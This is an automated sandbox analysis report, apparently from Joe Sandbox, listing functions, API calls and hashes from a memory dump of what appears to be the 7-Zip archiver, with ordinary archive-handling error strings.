Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs
String ID:
API String ID: 1795875747-0
Opcode ID: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
Instruction ID: 1382490079c4a32fed659901f28253d43b43135a91994ca657e0e46bdcdff7cd
Opcode Fuzzy Hash: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
Instruction Fuzzy Hash: 7AD0A7D1700B4D81DE109B26D8002A96321B798BC8F044031DE9D0B314EA2CC145CB00

Function 0011794C Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 0011795E

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
Instruction ID: 04e4f9d0a1e48184fd634b74cd51685b2524cde1982c483331fc4910841b5ccd
Opcode Fuzzy Hash: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
Instruction Fuzzy Hash: E9D0C7B5609D4581DB251F7998403A413629B94F75F584320D9B4497E0DF2584D6C711

Function 00118BB0 Relevance: 1.5, APIs: 1, Instructions: 8timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE ref: 00118BB7

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
Instruction ID: 6676b4b3b17cf899f9f2b8a7db98826aeb113c536c91c784a755738c23f409fd
Opcode Fuzzy Hash: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
Instruction Fuzzy Hash: BAB09230B12800C6CB0C6B22DCD231D13606788B22FE14429C60BD9650CD1C85EA4700

Function 00143D58 Relevance: 1.3, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00143E2A

Part of subcall function 00112130: malloc.MSVCRT ref: 00112134
Part of subcall function 00112130: _CxxThrowException.MSVCRT ref: 0011214F

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ErrorExceptionLastThrowmalloc
String ID:
API String ID: 2114622545-0
Opcode ID: ac085397a568cd8d14ceeec2df6ba23388e6ed1d835e247545a2bb9031c05b64
Instruction ID: 355408d79f8f2f37c34e9d15a4d83b948a8b5758697b16faab371397027971f6
Opcode Fuzzy Hash: ac085397a568cd8d14ceeec2df6ba23388e6ed1d835e247545a2bb9031c05b64
Instruction Fuzzy Hash: F031AC32602B4086DB199F69E5943A9B3A1FB98FE0F594534DF6A07764EF38C996C300

Function 0013373C Relevance: 1.3, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001337FB

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
Instruction ID: fb9ca0c363eb1b8e629c3feb7a2d4ff2c5f0cb81f9b92a5617dae14a5ee8b637
Opcode Fuzzy Hash: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
Instruction Fuzzy Hash: 9D213AB370425097C728DB1AB80055A7794F759BB4F246334FE7A87784EB78C942C744

Function 0011C90C Relevance: 1.3, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0011C995

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
Instruction ID: c55dc3baa1b39f5daaf17689ba25a86ca21727ed9e99fe3f1ba21645f151bbdf
Opcode Fuzzy Hash: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
Instruction Fuzzy Hash: 3C113D627D565C87CB3C8B6CE4507E4B250F75078DB949036DACA8B610DB69CCC2D2C1

Function 00143EE0 Relevance: 1.3, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 0013419C: free.MSVCRT ref: 001341B9
Part of subcall function 0013419C: free.MSVCRT ref: 001341C5
Part of subcall function 0013419C: free.MSVCRT ref: 001341D1
Part of subcall function 0013419C: free.MSVCRT ref: 001341DD
Part of subcall function 0013419C: free.MSVCRT ref: 001341E6
Part of subcall function 0013419C: free.MSVCRT ref: 001341EF
Part of subcall function 0013419C: free.MSVCRT ref: 001341F8

free.MSVCRT ref: 00143F45

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9f8a1d2c49b0bee4d130ff5c6d2e38f6001c7bac36fe86653caaa0f784b82661
Instruction ID: cadbfdeb37e159f095061a79063041570a7ef1ee411f6b011919f10e351c4311
Opcode Fuzzy Hash: 9f8a1d2c49b0bee4d130ff5c6d2e38f6001c7bac36fe86653caaa0f784b82661
Instruction Fuzzy Hash: C0014C73A20790CAC7219F1DC18116DBB24F769FE83689216EB5907770E732C887C7A1

Function 00118624 Relevance: 1.3, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001186A9

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
Instruction ID: 3836e65883b1c5cbc16f05290607d0470c5c6da37647d5febbd474b960e3df09
Opcode Fuzzy Hash: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
Instruction Fuzzy Hash: C7016D7631624086E710CF15C56C3AE7BB0B7E5B68F180218DBA44B3D1C7BAC58ACBA4

Function 0011CB78 Relevance: 1.3, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0011CBA8

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
Instruction ID: fadd68b502be03939595194ea1bf6f093a351707566cccc94fd632787acc3bea
Opcode Fuzzy Hash: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
Instruction Fuzzy Hash: 10F0E56239854887CB089F7999C13E821A1FB587D5F905439EF86CB601EB28CCD987A9

Function 0011CB34 Relevance: 1.3, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 001189D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 001189EA

GetLastError.KERNEL32 ref: 0011CB49

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
Instruction ID: e5ef7870663207a50753ed5d66466125fbdd1b3d22972d9dbcbad3c74e1cd4db
Opcode Fuzzy Hash: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
Instruction Fuzzy Hash: 28D02B4079409486DB185EB94CC13B80081A728782F901439DD5BCA202EA188CCAA26E

Function 00113314 Relevance: 1.3, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00113339

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
Instruction ID: d354f4513b73a9e4eaf09532b74c1215f99df3bcc787d49df98f5b09323b737a
Opcode Fuzzy Hash: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
Instruction Fuzzy Hash: 89D05EA67406C886CA149B27D68151DA3219B88FD5708D024DF080B70ACF30CCE68740

Function 001189D8 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 001189EA

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
Instruction ID: 5e44d6bdc65c71b8fbb7873dc9c1411b9ca9236e42c885f3ca65a471a8fd90a0
Opcode Fuzzy Hash: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
Instruction Fuzzy Hash: 61D0A772601D48C1DB291F7EC8403741350A794B78F188320CAB04A2D0DF2489C78302

Function 0011CDF4 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0011CE0D

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
Instruction ID: 5e7fadc06af984e4458e250ce5571e98be271f9d08aab51c1363130e12a69453
Opcode Fuzzy Hash: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
Instruction Fuzzy Hash: 10C08C417C224802C90D622B2F863EC12020FDBBD1F4C4030DE480BB92DBA488F28740

Non-executed Functions

Function 0011F1B4 Relevance: 79.1, APIs: 39, Strings: 6, Instructions: 318COMMON

Download Yara Rule

APIs

Part of subcall function 00113314: memmove.MSVCRT ref: 00113339

free.MSVCRT ref: 0011F201
free.MSVCRT ref: 0011F23D

Strings

Incorrect Map command, xrefs: 0011F206, 0011F242
Can not open mapping, xrefs: 0011F33E
Map data error, xrefs: 0011F58D
MapViewOfFile error, xrefs: 0011F3C9
Unsupported Map data, xrefs: 0011F464
Unsupported Map data size, xrefs: 0011F665

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$memmove
String ID: Can not open mapping$Incorrect Map command$Map data error$MapViewOfFile error$Unsupported Map data$Unsupported Map data size
API String ID: 1534225298-798110030
Opcode ID: 514f4a55c9b7f830d527a1e71fc81ac4b18dd3f2c8c4aaf2250e63e43436fdca
Instruction ID: 04831b51536a48782fbfee66047aa0ddef0ee4e96b7549dc71d561c78b0bf5eb
Opcode Fuzzy Hash: 514f4a55c9b7f830d527a1e71fc81ac4b18dd3f2c8c4aaf2250e63e43436fdca
Instruction Fuzzy Hash: 39C14E72218A40C6CB18EF11F8907DFB761F7D5B91F941139EA8A47A68DF78C48ACB40

Function 00142578 Relevance: 45.3, APIs: 36, Instructions: 335COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00142578
free.MSVCRT ref: 0014257A
free.MSVCRT ref: 0014258B
free.MSVCRT ref: 0014259C
free.MSVCRT ref: 001425AD
free.MSVCRT ref: 001425BA
free.MSVCRT ref: 0014279A
free.MSVCRT ref: 001427A7
free.MSVCRT ref: 001427B4
free.MSVCRT ref: 001427C1

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 09bc4f2532211b0a1dcd74d5bcbdcf73cd8d77d2c3735b1cacf78fea39811e06
Instruction ID: f974ce2c9adce09a11e570c2fac1e2a364e244f7784579ad416408fd28e4ebf5
Opcode Fuzzy Hash: 09bc4f2532211b0a1dcd74d5bcbdcf73cd8d77d2c3735b1cacf78fea39811e06
Instruction Fuzzy Hash: A5D17F76208AC481CA38DF22E4606EE7760F7D6B85F465152EF9E57B25CF38C885CB04

Function 00153528 Relevance: 35.5, APIs: 19, Strings: 1, Instructions: 472stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 001535A7

Part of subcall function 00112320: free.MSVCRT ref: 0011237E
Part of subcall function 00112320: fputs.MSVCRT ref: 001123B8
Part of subcall function 00112320: free.MSVCRT ref: 001123C4

fputs.MSVCRT ref: 001535D8
fputs.MSVCRT ref: 00153609
fputs.MSVCRT ref: 001536BF
fputs.MSVCRT ref: 0015373F

Part of subcall function 00145680: free.MSVCRT ref: 00145737
Part of subcall function 00145680: free.MSVCRT ref: 00145907
Part of subcall function 00145680: free.MSVCRT ref: 00145911

free.MSVCRT ref: 0015370F
fputs.MSVCRT ref: 001537CB
fputs.MSVCRT ref: 0015391B
strlen.MSVCRT ref: 00153929
memset.MSVCRT ref: 0015395E
fputs.MSVCRT ref: 001539B1
strlen.MSVCRT ref: 001539BF
memset.MSVCRT ref: 001539EE
fputs.MSVCRT ref: 00153AC1
strlen.MSVCRT ref: 00153AE4
memset.MSVCRT ref: 00153B1C
memmove.MSVCRT ref: 00153B3E
memset.MSVCRT ref: 00153B56
strlen.MSVCRT ref: 00153B62

Strings

data:, xrefs: 00153738

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: fputs$free$memset$strlen$memmove
String ID: data:
API String ID: 527563900-3222861102
Opcode ID: 7f35ab0e6331bc4047d8b77d44634953cdcad3e9273a8884933ef37d4d4427da
Instruction ID: 1cae27982b3c76194e92c4b9b6c95976fb610aef0e6f39245c66f97c08efd02b
Opcode Fuzzy Hash: 7f35ab0e6331bc4047d8b77d44634953cdcad3e9273a8884933ef37d4d4427da
Instruction Fuzzy Hash: 27021332208A81D7DB18DF25E8903AE7761F3947C9F445115EE7A4B668DB38CA8EC740

Function 0014FA0C Relevance: 26.7, APIs: 12, Strings: 3, Instructions: 489COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0014FAAC
free.MSVCRT ref: 0014FAC0
free.MSVCRT ref: 0014FC43

Part of subcall function 00112130: malloc.MSVCRT ref: 00112134
Part of subcall function 00112130: _CxxThrowException.MSVCRT ref: 0011214F

Part of subcall function 0014F820: _CxxThrowException.MSVCRT ref: 0014F88D

free.MSVCRT ref: 00150031

Part of subcall function 0014F8B8: memmove.MSVCRT ref: 0014F91E
Part of subcall function 0014F8B8: free.MSVCRT ref: 0014F926

Part of subcall function 0014F93C: memmove.MSVCRT ref: 0014F992
Part of subcall function 0014F93C: free.MSVCRT ref: 0014F99A

free.MSVCRT ref: 001500EA
free.MSVCRT ref: 001500F2
free.MSVCRT ref: 00150101
free.MSVCRT ref: 0015010A
free.MSVCRT ref: 00150113
free.MSVCRT ref: 00150121
_CxxThrowException.MSVCRT ref: 00150184

Strings

Internal file name collision (file on disk, file in archive):, xrefs: 0015015D
Duplicate filename in archive:, xrefs: 00150149
Duplicate filename on disk:, xrefs: 0014FCB4

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ExceptionThrow$memmove$mallocmemset
String ID: Duplicate filename in archive:$Duplicate filename on disk:$Internal file name collision (file on disk, file in archive):
API String ID: 3338823681-819937569
Opcode ID: 17f6f14bac71751efe80d9b04e97d87e47ae6380bf435bb0da8020714141aded
Instruction ID: d015d0ffac7539eae442a04a745aa8eee1dd4fe2347708f89b03fe40c4008fcd
Opcode Fuzzy Hash: 17f6f14bac71751efe80d9b04e97d87e47ae6380bf435bb0da8020714141aded
Instruction Fuzzy Hash: 1F12A273218A8487C724DF25E49065EB7A1F389BD0F515629EF9E47B68CF38D896CB00

Function 00118F18 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 142COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32 ref: 00118F7A
DeviceIoControl.KERNEL32 ref: 0011905E
DeviceIoControl.KERNEL32 ref: 001190B5
DeviceIoControl.KERNEL32 ref: 001190F6

Part of subcall function 0011ABB0: GetModuleHandleW.KERNEL32 ref: 0011ABD1
Part of subcall function 0011ABB0: GetProcAddress.KERNEL32 ref: 0011ABE1
Part of subcall function 0011ABB0: GetDiskFreeSpaceW.KERNEL32 ref: 0011AC32

Strings

:, xrefs: 00118FF2
(, xrefs: 00119051

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: ControlDevice$AddressDiskFreeHandleModuleProcSpace
String ID: ($:
API String ID: 4250411929-4277925470
Opcode ID: 5b9f9703c519a548ceef949604e44196ebe8030fab0dc2f4f3b95e46287e534a
Instruction ID: 06a07fde06cdab245b741ab461c3c6b1522dba484843cb2f45ca45de317bb8dc
Opcode Fuzzy Hash: 5b9f9703c519a548ceef949604e44196ebe8030fab0dc2f4f3b95e46287e534a
Instruction Fuzzy Hash: A451BD32608BC196CB24DF20F06079EB765F798764F54852AEB9A07B58EB38C4D9CB40

Function 0011881C Relevance: 10.6, APIs: 7, Instructions: 102COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 0011885B
free.MSVCRT ref: 00118863
GetLogicalDriveStringsW.KERNEL32 ref: 00118879
GetLogicalDriveStringsW.KERNEL32 ref: 001188B2
free.MSVCRT ref: 00118943
free.MSVCRT ref: 0011894C
free.MSVCRT ref: 00118959

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$DriveLogicalStrings
String ID:
API String ID: 837055893-0
Opcode ID: 106ba36bd963fc83ddaed19d6b0af85a96b103604d59597e7e5fa49efd96df8e
Instruction ID: 03fe0e8ba9c145e2f3df00add489ce5821425af50bfef622d7526d8a8a5b60c8
Opcode Fuzzy Hash: 106ba36bd963fc83ddaed19d6b0af85a96b103604d59597e7e5fa49efd96df8e
Instruction Fuzzy Hash: 2231B322701A4596DA38EA26AC513EA6251BB85BE8F888235DE5E47384DF38C9C6C310

Function 001196AC Relevance: 10.6, APIs: 7, Instructions: 88COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001196D1
GetFileInformationByHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF,00000001,00000000), ref: 00119723
DeviceIoControl.KERNEL32 ref: 0011976C
free.MSVCRT ref: 00119779
free.MSVCRT ref: 00119796
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF,00000001,00000000), ref: 001197C4
free.MSVCRT ref: 001197CD

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: free$ControlDeviceFileHandleInformationmemmove
String ID:
API String ID: 2572579059-0
Opcode ID: 66249682d96c9e811446979bc573c52628216d425e2c3449b3ad2fbb2eaf9277
Instruction ID: 50db3ebb594c8812c76280100e1eb1887ea063a574194ce15682fc6abd618527
Opcode Fuzzy Hash: 66249682d96c9e811446979bc573c52628216d425e2c3449b3ad2fbb2eaf9277
